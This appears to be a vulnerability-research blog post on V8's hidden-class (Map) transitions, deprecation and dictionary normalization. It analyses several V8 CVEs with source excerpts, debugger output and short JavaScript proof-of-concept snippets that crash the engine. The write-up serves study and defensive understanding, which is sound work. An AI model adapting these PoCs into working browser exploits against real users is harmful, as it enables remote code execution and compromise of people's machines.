Logo xia0o0o0o

Overview of Map Exploitation in v8

February 1, 2025
23 min read
Table of Contents

Overview of Map Exploitation in v8

Introduction

We can create different objects with different structures in JavaScript and we definitely don’t want to write a C++ class for each of them. So in JavaScript, there is a concept called Shape, or Map in v8, which can be considered as a “hidden class”. The Shape or Map is used to describe the structure of an object.

Maps in v8

  • Map: The hidden class structure which is the first pointer value at the beginning of the object. The Map allows V8 to quickly determine if two objects have the same class.
  • Descriptor array: List of properties as well as the information about the properties of the object.
  • Transition array: An array of pointers from one Map to another Map which can be used to determine when we add a new property to an object, which Map should be used.

Example

Let’s go through the following code:

object0 = {};
object0.p0 = 1;
 
object1 = {};
object1.p0 = 2;
object1.p1 = 3;
 
object2 = {};
object2.p0 = 4;
object2.p1 = 5;
object2.p2 = 6;
 
object3 = {};
object3.p0 = 7;
object3.p1 = 8;
object3.p3 = 9;
 

Let’s examine the state of those Maps, we will create object0

object0 = {};
object0.p0 = 1;

V8 create a new transition from root map to a new map, map0 status

Then we create object1

object1 = {};
object1.p0 = 2;
object1.p1 = 3;

When we add p0 to object1, V8 will know which map to use by going through the transition array so it will switch to Map: object0. After adding p1, V8 will create a new transition from Map: object0 to Map: object1. And these maps can share the same descriptor array. The key to that is the Map knows the number of properties of the object.

bitfield struct MapBitFields1 extends uint8 {
  has_non_instance_prototype: bool: 1 bit;
  is_callable: bool: 1 bit;
  has_named_interceptor: bool: 1 bit;
  has_indexed_interceptor: bool: 1 bit;
  is_undetectable: bool: 1 bit;
  is_access_check_needed: bool: 1 bit;
  is_constructor: bool: 1 bit;
  has_prototype_slot: bool: 1 bit;
}

bitfield struct MapBitFields2 extends uint8 {
  new_target_is_base: bool: 1 bit;
  is_immutable_prototype: bool: 1 bit;
  elements_kind: ElementsKind: 6 bit;
}

bitfield struct MapBitFields3 extends uint32 {
  enum_length: int32: 10 bit;
  number_of_own_descriptors: int32: 10 bit;
  is_prototype_map: bool: 1 bit;
  is_dictionary_map: bool: 1 bit;
  owns_descriptors: bool: 1 bit;
  is_in_retained_map_list: bool: 1 bit;
  is_deprecated: bool: 1 bit;
  is_unstable: bool: 1 bit;
  is_migration_target: bool: 1 bit;
  is_extensible: bool: 1 bit;
  may_have_interesting_properties: bool: 1 bit;
  construction_counter: int32: 3 bit;
}

map1 status

Then we create object2

object2 = {};
object2.p0 = 4;
object2.p1 = 5;
object2.p2 = 6;

which will basically do the similar thing as previously described.

map2 status

Then we create object3

object3 = {};
object3.p0 = 7;
object3.p1 = 8;
object3.p3 = 9;

But this time after it go from the transition link of p1, it will go to a new map Map: object3 instead of Map: object2 because object3 has a new property p3. And they can no longer share the same descriptor array.

map3 status

Vulnerabilities

CVE-2023-4427

https://github.com/KpwnZ/browser-pwn-collection/tree/main/v8/CVE-2023-4427

CVE-2024-3159

https://github.com/KpwnZ/browser-pwn-collection/tree/main/v8/CVE-2024-3159

CVE-2020-16009

Map deprecation

Sometimes V8 can not generalize the fields of object in place, for example, transition from a SMI to a double. In this way, V8 will create a new map for the object and marks the old map as deprecated.

o1 = {a: 1};  // Map0{a: smi}
o2 = {a: 1};  // Map0{a: smi}
 
o1.a = 1.1;  // Map1{a: double}, create a new map, Map0 is deprecated
x = o2.a;    // migrate o2->map to Map1

The o1.a = 1.1 will invoke MapUpdater::State MapUpdater::ConstructNewMap() which will invalidate transition target

  // Invalidate a transition target at |key|.
  MaybeDirectHandle<Map> maybe_transition =
      TransitionsAccessor::SearchTransition(
          isolate_, split_map, GetKey(split_index), split_details.kind(),
          split_details.attributes());
  if (!maybe_transition.is_null()) {
    maybe_transition.ToHandleChecked()->DeprecateTransitionTree(isolate_);
  }
 
void Map::DeprecateTransitionTree(Isolate* isolate) {
  // ...
  DisallowGarbageCollection no_gc;
  TransitionsAccessor transitions(isolate, *this);
  transitions.ForEachTransition(
      &no_gc, [&](Tagged<Map> map) { map->DeprecateTransitionTree(isolate); },
      [&](Tagged<Map> map) {
        if (v8_flags.move_prototype_transitions_first) {
          map->DeprecateTransitionTree(isolate);
        }
      },
      nullptr);
  // ...
  set_is_deprecated(true);
  // ...
}
 

V8 will mark all the maps as deprecated on the transition path, for example.

o1 = {};
o1.a = 1;
 
o2_0 = {}
o2_0.a = 1;
o2_0.b = 2;
 
o2_1 = {}
o2_1.a = 1;
o2_1.b = 2;
 
o3 = {}
o3.a = 1;
o3.b = 2;
o3.c = 3;
 
%DebugPrint(o1);
%DebugPrint(o2_0);
%DebugPrint(o2_1);
%DebugPrint(o3);
 
// Map_o1 -> Map_o2 -> Map_o3
 
o2_0.b = 2.2;
 
// Map_o1 -> Map_o2_0: {smi, double}, Map_o2_0 becomes migration target
// Map_o2_1: {smi, smi}(deprecated) -> Map_o3: {smi, smi, smi}(deprecated)

Here when the engine executes o2_0.b = 2.2, it will create a new map with MapUpdater::ConstructNewMap()

  Handle<Map> new_map =
      Map::AddMissingTransitions(isolate_, split_map, new_descriptors);

it will replace the transition path from Map_o1 to Map_o2 to Map_o1 to new Map_o2_0 and DeprecateTransitionTree will mark Map_o2_1 and Map_o3 as deprecated. Then the newly constructed map will be returned to v8::internal::LookupIterator::PrepareForDataProperty() which will call

  JSObject::MigrateToMap(isolate_, holder_obj, new_map);

to migrate the object to the new map.

if we then access o2_1.b, it will trigger v8::internal::(anonymous namespace)::MigrateDeprecated()

void JSObject::MigrateInstance(Isolate* isolate,
                               DirectHandle<JSObject> object) {
  Handle<Map> original_map(object->map(), isolate);
  DirectHandle<Map> map = Map::Update(isolate, original_map);
  map->set_is_migration_target(true);
  JSObject::MigrateToMap(isolate, object, map);
  if (v8_flags.trace_migration) {
    object->PrintInstanceMigration(stdout, *original_map, *map);
  }
}

Map::Update(isolate, original_map); will call into v8::internal::MapUpdater::UpdateImpl() which will try to find target map first using FindTargetMap() which will try to find the target transition map according to the new descriptor. In this case, it will find the new map Map_o2_0 and migrate the object to the new map.

Property representation

Let’s say there is any object like

o = {
    heap_value: {},
    smi_value: 0 | 0,
    double_value: 13.37,
};
DebugPrint: 0xc9500208b85: [JS_OBJECT_TYPE]
 - map: 0x0c9500158809 <Map[24](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0c950014268d <Object map = 0xc9500141cc9>
 - elements: 0x0c95000006fd <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0c95000006fd <FixedArray[0]>
 - All own properties (excluding elements): {
    0xc9500158639: [String] in OldSpace: #heap_value: 0x0c9500208b9d <Object map = 0xc95001424c1> (const data field 0), location: in-object
    0xc9500158651: [String] in OldSpace: #smi_value: 0 (const data field 1), location: in-object
    0xc9500158669: [String] in OldSpace: #double_value: 0x0c9500208c31 <HeapNumber 13.37> (const data field 2), location: in-object
 }

gef➤  job 0x0c9500208bfd
0xc9500208bfd: [DescriptorArray]
 - map: 0x0c950000065d <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: empty
 - nof slack descriptors: 0
 - nof descriptors: 3
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0xc9500158639: [String] in OldSpace: #heap_value (const data field 0:h, p: 0, attrs: [WEC]) @ Any
  [1]: 0xc9500158651: [String] in OldSpace: #smi_value (const data field 1:s, p: 2, attrs: [WEC]) @ Any
  [2]: 0xc9500158669: [String] in OldSpace: #double_value (const data field 2:d, p: 1, attrs: [WEC]) @ Any

o.heap_value will be a tagged heap pointer, o.smi_value will be a tagged smi, and o.double_value will be a tagged double. The conversion between heap type and tagged double value (HeapNumber) can be done in place.

o = {
    heap_value: {},
    smi_value: 0 | 0,
    double_value: 13.37,
};
 
%DebugPrint(o);
o.double_value = {};
%DebugPrint(o);

will print out the same map.

Vulnerability

The original Project Zero report pointed out that

bool Map::CanBeDeprecated() const {  
  for (InternalIndex i : IterateOwnDescriptors()) {  
    PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);  
    if (details.representation().IsNone()) return true;  
    if (details.representation().IsSmi()) return true;  
    if (details.representation().IsDouble() && FLAG_unbox_double_fields)        <---  
      return true;  
    if (details.representation().IsHeapObject()) return true;  
    if (details.kind() == kData && details.location() == kDescriptor) {  
      return true;  
    }  
  }  
  return false;  
}  

incorrectly returns true when the object. But actually this function is correct because the tagged double and heap object can be converted in place without map deprecation (they are all 32 bit tagged values). The real problem is here, in FindTargetMap:

    Representation tmp_representation = tmp_details.representation();
    if (!old_details.representation().fits_into(tmp_representation)) {
      break;
    }

Simply break without checking whether the type can be in place generalized, that’s means when we trying to do

o = {
  double_value: 13.37
};
o.double_value = {};

the map of o will be marked as deprecated but in fact it can be in place converted. This leads to an inconsistency between CanBeDeprecated and the real map updating behavior, which is the root cause of the Vulnerability. In this way we can make a transition link to a deprecated map and trigger the migration. Here is a really simple PoC to deprecate a Map with two double value (which should not be deprecated).

 
let o1 = {}             // Map_o1{smi}
o1.a = 1;
 
let o2 = {};            // Map_o2{smi, tagged_ptr}
o2.a = 1;
o2.b = {};
 
let o3 = {};
o3.a = 1;
o3.b = {};
 
// {} -> Map_o1 -> Map_o2
 
let o4 = {};            // Map_o4{double}
o4.a = 13.37;        
// Map_o1 will be deprecated
// Map_o2 will be deprecated
 
let o5 = {};            // Map_o5{double, double}
o5.a = 13.37;
o5.b = 13.37;
 
let o6 = o3;
x = o6.b;
%DebugPrint(o6);
%DebugPrint(o5);        // Map_o5 will be deprecated

CVE-2024-5830

Different properties storing strategy?

Fast in-object properties

There are some really fast properties which are stored inline in the object itself. The number of fast in-object properties are predefined.

Fast properties

If the number of properties exceeds the predefined number, the properties will be stored in a separate property array. They can be simply accessed by index in descriptor array.

Slow properties

An object with slow properties has a self-contained dictionary as a properties store. All the properties meta information is no longer stored in the descriptor array on the HiddenClass but directly in the properties dictionary. Inline cache don’t work for slow properties, so accessing slow properties will be slower.

The map of object with slow properties will be converted to dictionary mode, the descriptor array pointer will point to a fixed array that has 0 elements.

Vulnerability

In TryFastAddDataProperty

bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
                            Handle<Name> name, Handle<Object> value,
                            PropertyAttributes attributes) {
  Tagged<Map> map =
      TransitionsAccessor(isolate, object->map())
          .SearchTransition(*name, PropertyKind::kData, attributes);
  if (map.is_null()) return false;
  // ...
  new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
                                        PropertyConstness::kConst, value);
  // ...
  object->WriteToField(descriptor,
                       new_map->instance_descriptors()->GetDetails(descriptor),
                       *value);
  return true;
}

It will call Map::PrepareForDataProperty first to prepare a new map for the object. Notice that in WriteToField, it uses new_map->instance_descriptors which implies that the engine will assume the map is a fast map.

In Map::PrepareForDataProperty

// static
Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map,
                                        InternalIndex descriptor,
                                        PropertyConstness constness,
                                        Handle<Object> value) {
  // Update to the newest map before storing the property.
  map = Update(isolate, map);
  // Dictionaries can store any property value.
  DCHECK(!map->is_dictionary_map());
  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);
}

The map = Update(isolate, map); will invoke the map updater.

// static
Handle<Map> Map::Update(Isolate* isolate, Handle<Map> map) {
  if (!map->is_deprecated()) return map;
  if (v8_flags.fast_map_update) {
    Tagged<Map> target_map = SearchMigrationTarget(isolate, *map);
    if (!target_map.is_null()) {
      return handle(target_map, isolate);
    }
  }
  MapUpdater mu(isolate, map);
  return mu.Update();
}

As what we have discussed in previous vulnerabilities, the map updating process can result in a map transition. One way to reach TryFastAddDataProperty as well as invoking a callback function to trigger side effect, v8::internal::CloneObjectSlowPath is a good choice and we can invoke it with spread operator like let a = { ...b }.

Let’s go through the PoC

let x = {};
 
// {} -> map_a0_smi -> map_a1_smi -> map_prop_accessor
//                       +-----> map_prop
//    -> map_a0 -> map_a1   <--- active currently
//                    +-----> map_tmp0
//                    ....... map_tmp_max
x.a0 = 1;
x.a1 = 2;
 
var x1 = {};
x1.a0 = 1;
x1.a1 = 2;
x1.prop = 1;
x.__defineGetter__("prop", function () {
    let obj = {};
    obj.a0 = 1;
    obj.a0 = 1.1;
    for (let i = 0; i < 1024 + 512; i++) {
        let tmp = {};
        tmp.a0 = 1;
        tmp.a1 = 2;
        eval(`tmp.p${i} = 1;`);
    }
    %DebugPrint(x1);
    return 4;
});
x.z = 1;
delete x.z;
let y = { ...x };   // crash at !map->is_dictionary_map()

After the engine executing

let x = {};
x.a0 = 1;
x.a1 = 2;
var x1 = {};
x1.a0 = 1;
x1.a1 = 2;
x1.prop = 1;
x.__defineGetter__("prop", function () { /* ... */ });

the map transition tree will be

{} -> map_a0_smi -> map_a1_smi -> map_prop_accessor
                      +-----> map_prop

Then when it executes

let y = { ...x };

the properties will be added one by one, after adding a1 it’s going to add prop, but

    let obj = {};
    obj.a0 = 1;
    obj.a0 = 1.1;

will deprecate the map of x and x1 and the following loop will exhaust the max number of transition that a fast property map can hold

    for (let i = 0; i < 1024 + 512; i++) {
        let tmp = {};
        tmp.a0 = 1;
        tmp.a1 = 2;
        eval(`tmp.p${i} = 1;`);
    }

The map of y when we are trying to add prop is also deprecated and the current active transition link is the one with 1024+512 transition target, so when FindSplitPoint is called to find the split point, which is the map after it executing tmp.a1 = 2; should contains 1024+512 transition targets, then it will be normailized to a dictionary map, and the map of y will be updated to the dictionary map which will trigger the vulnerability.

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff4c56e94 <v8::internal::MapUpdater::ConstructNewMap()+0014> mov    QWORD PTR [rbp-0x38], rdi
   0x7ffff4c56e98 <v8::internal::MapUpdater::ConstructNewMap()+0018> mov    rdi, QWORD PTR [rbp-0x38]
   0x7ffff4c56e9c <v8::internal::MapUpdater::ConstructNewMap()+001c> mov    QWORD PTR [rbp-0x328], rdi
 → 0x7ffff4c56ea3 <v8::internal::MapUpdater::ConstructNewMap()+0023> mov    rax, QWORD PTR [rip+0xfffffffffd32a916]        # 0x7ffff1f817c0
   0x7ffff4c56eaa <v8::internal::MapUpdater::ConstructNewMap()+002a> mov    QWORD PTR [rbp-0x40], rax
   0x7ffff4c56eae <v8::internal::MapUpdater::ConstructNewMap()+002e> add    rdi, 0x8
   0x7ffff4c56eb2 <v8::internal::MapUpdater::ConstructNewMap()+0032> call   0x7ffff7921b80 <_ZNK2v88internal6HandleINS0_3MapEEptEv@plt>
   0x7ffff4c56eb7 <v8::internal::MapUpdater::ConstructNewMap()+0037> mov    QWORD PTR [rbp-0x68], rax
   0x7ffff4c56ebb <v8::internal::MapUpdater::ConstructNewMap()+003b> lea    rdi, [rbp-0x68]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:../../src/objec[...]map-updater.cc+973 ────
    968    return handle(current, isolate_);
    969  }
    970
    971  MapUpdater::State MapUpdater::ConstructNewMap() {
    972  #ifdef DEBUG
 →  973    Handle<EnumCache> old_enum_cache =
    974        handle(old_map_->instance_descriptors()->enum_cache(), isolate_);
    975  #endif
    976    Handle<DescriptorArray> new_descriptors = BuildDescriptorArray();
    977
    978    Handle<Map> split_map = FindSplitMap(new_descriptors);
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  job *old_map_
0x3a570015a93d: [Map] in OldSpace       <=== map of x1
 - map: 0x3a57001438bd <MetaMap (0x3a570014390d <NativeContext[287]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 1
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - deprecated_map
 - back pointer: 0x3a570015a915 <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x3a570015a90d <Cell value= 0>
 - instance descriptors (own) #3: 0x3a570020b001 <DescriptorArray[3]>
 - prototype: 0x3a57001447ad <Object map = 0x3a5700143de9>
 - constructor: 0x3a57001442f1 <JSFunction Object (sfi = 0x3a5700312545)>
 - dependent code: 0x3a570000070d <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

gef➤

CVE-2023-1214

In Maybe<uint32_t> ValueDeserializer::ReadJSObjectProperties

static bool IsValidObjectKey(Object value, Isolate* isolate) {
  if (value.IsSmi()) return true;
  auto instance_type = HeapObject::cast(value).map(isolate).instance_type();
  return InstanceTypeChecker::IsName(instance_type) ||
         InstanceTypeChecker::IsHeapNumber(instance_type);
}
 
Maybe<uint32_t> ValueDeserializer::ReadJSObjectProperties(
    Handle<JSObject> object, SerializationTag end_tag,
    bool can_use_transitions) {
  uint32_t num_properties = 0;
 
  // Fast path (following map transitions).
  if (can_use_transitions) {
    bool transitioning = true;
    Handle<Map> map(object->map(), isolate_);
    DCHECK(!map->is_dictionary_map());
    DCHECK_EQ(0, map->instance_descriptors(isolate_).number_of_descriptors());
    std::vector<Handle<Object>> properties;
    properties.reserve(8);
 
    while (transitioning) {
      // If there are no more properties, finish.
      SerializationTag tag;
      if (!PeekTag().To(&tag)) return Nothing<uint32_t>();
      if (tag == end_tag) {
        ConsumeTag(end_tag);
        CommitProperties(object, map, properties);
        CHECK_LT(properties.size(), std::numeric_limits<uint32_t>::max());
        return Just(static_cast<uint32_t>(properties.size()));
      }
 
      // Determine the key to be used and the target map to transition to, if
      // possible. Transitioning may abort if the key is not a string, or if no
      // transition was found.
      Handle<Object> key;
      Handle<Map> target;
      Handle<String> expected_key;
      {
        TransitionsAccessor transitions(isolate_, *map);
        expected_key = transitions.ExpectedTransitionKey();
        if (!expected_key.is_null()) {
          target = transitions.ExpectedTransitionTarget();
        }
      }
      if (!expected_key.is_null() && ReadExpectedString(expected_key)) {
        key = expected_key;
      } else {
        if (!ReadObject().ToHandle(&key) || !IsValidObjectKey(*key, isolate_)) {
          return Nothing<uint32_t>();
        }
        if (key->IsString(isolate_)) {
          key =
              isolate_->factory()->InternalizeString(Handle<String>::cast(key));
          // Don't reuse |transitions| because it could be stale.
          transitioning = TransitionsAccessor(isolate_, *map)
                              .FindTransitionToField(Handle<String>::cast(key))
                              .ToHandle(&target);
        } else {
          transitioning = false;
        }
      }
 
      // Read the value that corresponds to it.
      Handle<Object> value;
      if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
 
      // If still transitioning and the value fits the field representation
      // (though generalization may be required), store the property value so
      // that we can copy them all at once. Otherwise, stop transitioning.
      if (transitioning) {
        // Deserializaton of |value| might have deprecated current |target|,
        // ensure we are working with the up-to-date version.
        target = Map::Update(isolate_, target);
 
        InternalIndex descriptor(properties.size());
        PropertyDetails details =
            target->instance_descriptors(isolate_).GetDetails(descriptor);  // <=== use descriptor
        Representation expected_representation = details.representation();
        if (value->FitsRepresentation(expected_representation)) {
          // ...
        }
        // ...
      }

which will deserialize given object. The following code:

      // Read the value that corresponds to it.
      Handle<Object> value;
      if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();

will create a new object by calling ReadObject() which can trigger side effects. Thus the target map can be marked as deprecated. As we mentioned previously, updating a deprecated map can resulted in a map normalization that will convert the map to a dictionary map. And the following code only expects the map is a fast map since it directly takes the descriptor of the map.

let arr = []
obj1 = {};
obj1.a = 1;
obj1.b = 1;
obj1.c = {};
 
obj2 = {};
obj2.a = 1;
obj2.b = 1;
obj2.c = arr;
 
obj3 = {};
obj3.a = 1;
obj3.b = 13.37; // deprecate map
arr.push(obj3);
 
for (let i = 0; i < 1024 + 512 + 1; i++) {
    let tmp = {};
    tmp.a = 1;
    tmp.b = 1;
    eval(`tmp.c${i} = 1`);
    arr.push(tmp);
}
 
// now we have 
// [
//    obj1{1: smi, 1: smi, {}: tagged},
//    obj2{1: smi, 1: smi, [ obj3{1: smi, 13.37: double}, tmp0, ..., tmpn ]: tagged}
// ]
 
worker = new Worker(
    () => {
        onmessage = (event) => {}
    },
    { type: "function", arguments: [] },
);
worker.postMessage([obj1, obj2]);
worker.getMessage();

V8 will deserialize the object in the worker thread. First we create an object obj1 with

obj1 = {};
obj1.a = 1;
obj1.b = 1;
obj1.c = {};

which will create the following transition map

{} -> map_a_smi -> map_b_smi -> map_c_tagged

then we will have

obj2 = {};
obj2.a = 1;
obj2.b = 1;
obj2.c = arr;

which can follow the transition link of obj1 so transitioning will be true in the following code

        if (!ReadObject().ToHandle(&key) || !IsValidObjectKey(*key, isolate_)) {
          return Nothing<uint32_t>();
        }
        if (key->IsString(isolate_)) {
          key =
              isolate_->factory()->InternalizeString(Handle<String>::cast(key));
          // Don't reuse |transitions| because it could be stale.
          transitioning = TransitionsAccessor(isolate_, *map)
                              .FindTransitionToField(Handle<String>::cast(key))
                              .ToHandle(&target);
        } else {
          transitioning = false;
        }

Then it will keep deserailizing the value, which is the array arr stored in obj2

      // Read the value that corresponds to it.
      Handle<Object> value;
      if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
 
      // If still transitioning and the value fits the field representation
      // (though generalization may be required), store the property value so
      // that we can copy them all at once. Otherwise, stop transitioning.
      if (transitioning) {
        // Deserializaton of |value| might have deprecated current |target|,
        // ensure we are working with the up-to-date version.
        target = Map::Update(isolate_, target);
 
        InternalIndex descriptor(properties.size());
        PropertyDetails details =
            target->instance_descriptors(isolate_).GetDetails(descriptor);  // <=== use descriptor
        Representation expected_representation = details.representation();
        if (value->FitsRepresentation(expected_representation)) {
          // ...
        }
        // ...
      }

The first object in the array is obj3, which is

obj3 = {};
obj3.a = 1;
obj3.b = 13.37; // deprecate map
arr.push(obj3);

This will deprecate the map of obj2 and obj1, thus the transition link will be

{} -> map_a_smi -> map_b_smi -> map_c_tagged (deprecated)
              +-> map_b_double

so the target map is deprecated now, then we keep adding new transition c{i} to the transition linkwhen the enigne tries to update the map

    target = Map::Update(isolate_, target);

when we finish deserializing the array and back to the stack frame of deserailization process for obj2 which is the frame 7 below

gef➤  bt
#0  v8::internal::ValueDeserializer::ReadJSObjectProperties (this=0x7fff98056c48, object=..., end_tag=v8::internal::SerializationTag::kEndJSObject, can_use_transitions=0x1)
    at ../../src/objects/value-serializer.cc:2473
#1  0x00007ffff63b1259 in v8::internal::ValueDeserializer::ReadJSObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1749
#2  0x00007ffff63afe16 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1554
#3  0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#4  0x00007ffff63b1ac6 in v8::internal::ValueDeserializer::ReadDenseJSArray (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1819
#5  0x00007ffff63afe66 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1558
#6  0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#7  0x00007ffff63b5a15 in v8::internal::ValueDeserializer::ReadJSObjectProperties (this=0x7fff98056c48, object=..., end_tag=v8::internal::SerializationTag::kEndJSObject, can_use_transitions=0x1)
    at ../../src/objects/value-serializer.cc:2465
#8  0x00007ffff63b1259 in v8::internal::ValueDeserializer::ReadJSObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1749
#9  0x00007ffff63afe16 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1554
#10 0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#11 0x00007ffff63b1ac6 in v8::internal::ValueDeserializer::ReadDenseJSArray (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1819
#12 0x00007ffff63afe66 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1558
#13 0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#14 0x00007ffff63af4be in v8::internal::ValueDeserializer::ReadObjectWrapper (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1458
#15 0x00007ffff548eae8 in v8::ValueDeserializer::ReadValue (this=0x7fffa67ff1a8, context=...) at ../../src/api/api.cc:3686
#16 0x000055555567e459 in v8::Deserializer::ReadValue (this=0x7fffa67ff198, context=...) at ../../src/d8/d8.cc:5381
#17 0x0000555555661dd3 in v8::Shell::DeserializeValue (isolate=0x7fff98000b90, data=...) at ../../src/d8/d8.cc:5460
#18 0x000055555566aa30 in v8::Worker::ProcessMessage (this=0x555555765fc8, data=...) at ../../src/d8/d8.cc:4521
#19 0x00005555556a174f in v8::ProcessMessageTask::RunInternal (this=0x5555557463f0) at ../../src/d8/d8.cc:4434
#20 0x00005555556a1704 in v8::internal::CancelableTask::Run (this=0x5555557463f0) at ../../src/tasks/cancelable-task.h:155
#21 0x00007ffff233d6a4 in v8::platform::DefaultPlatform::PumpMessageLoop (this=0x5555556dcf30, isolate=0x7fff98000b90, wait_for_work=v8::platform::MessageLoopBehavior::kDoNotWait)
    at ../../src/libplatform/default-platform.cc:162
#22 0x00007ffff233d4fc in v8::platform::PumpMessageLoop (platform=0x5555556dcf30, isolate=0x7fff98000b90, behavior=v8::platform::MessageLoopBehavior::kDoNotWait)
    at ../../src/libplatform/default-platform.cc:79
#23 0x000055555566cec8 in v8::(anonymous namespace)::ProcessMessages (isolate=0x7fff98000b90, behavior=...) at ../../src/d8/d8.cc:5108
#24 0x00005555556531eb in v8::Shell::EmptyMessageQueues (isolate=0x7fff98000b90) at ../../src/d8/d8.cc:5162
#25 0x0000555555652ae6 in v8::Shell::ExecuteString (isolate=0x7fff98000b90, source=..., name=..., print_result=v8::Shell::kNoPrintResult, report_exceptions=v8::Shell::kReportExceptions,
    process_message_queue=v8::Shell::kProcessMessageQueue) at ../../src/d8/d8.cc:886
#26 0x000055555566a34f in v8::Worker::ExecuteInThread (this=0x555555765fc8) at ../../src/d8/d8.cc:4593
#27 0x0000555555669cff in v8::Worker::WorkerThread::Run (this=0x5555557463a0) at ../../src/d8/d8.cc:4421
#28 0x00007ffff23eacc6 in v8::base::Thread::NotifyStartedAndRun (this=0x5555557463a0) at ../../src/base/platform/platform.h:596
#29 0x00007ffff23e992d in v8::base::ThreadEntry (arg=0x5555557463a0) at ../../src/base/platform/platform-posix.cc:1123
#30 0x00007ffff1c0339d in ?? () from /usr/lib/libc.so.6
#31 0x00007ffff1c8849c in ?? () from /usr/lib/libc.so.6

the map of obj2 is deprecated

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:../../src/objec[...]value-serializer.cc+2465 ────
   2460          }
   2461        }
   2462
   2463        // Read the value that corresponds to it.
   2464        Handle<Object> value;
 → 2465        if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
   2466
   2467        // If still transitioning and the value fits the field representation
   2468        // (though generalization may be required), store the property value so
   2469        // that we can copy them all at once. Otherwise, stop transitioning.
   2470        if (transitioning) {
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "d8", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#1] Id 2, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#2] Id 3, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#3] Id 4, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#4] Id 5, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#5] Id 6, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#6] Id 7, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#7] Id 9, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#8] Id 8, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#9] Id 10, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#10] Id 11, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#11] Id 12, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#12] Id 13, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#13] Id 14, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#14] Id 15, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#15] Id 16, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#16] Id 17, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#17] Id 18, Name: "WorkerThread", stopped 0x7ffff63b5a67 in v8::internal::ValueDeserializer::ReadJSObjectProperties (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#5] 0x7ffff63afe66 → v8::internal::ValueDeserializer::ReadObjectInternal(this=0x7fff98056c48)
[#6] 0x7ffff63af6b1 → v8::internal::ValueDeserializer::ReadObject(this=0x7fff98056c48)
[#7] 0x7ffff63b5a15 → v8::internal::ValueDeserializer::ReadJSObjectProperties(this=0x7fff98056c48, object={
  <v8::internal::HandleBase> = {
    location_ = 0x7fff9804f218
  }, <No data fields>}, end_tag=v8::internal::SerializationTag::kEndJSObject, can_use_transitions=0x1)
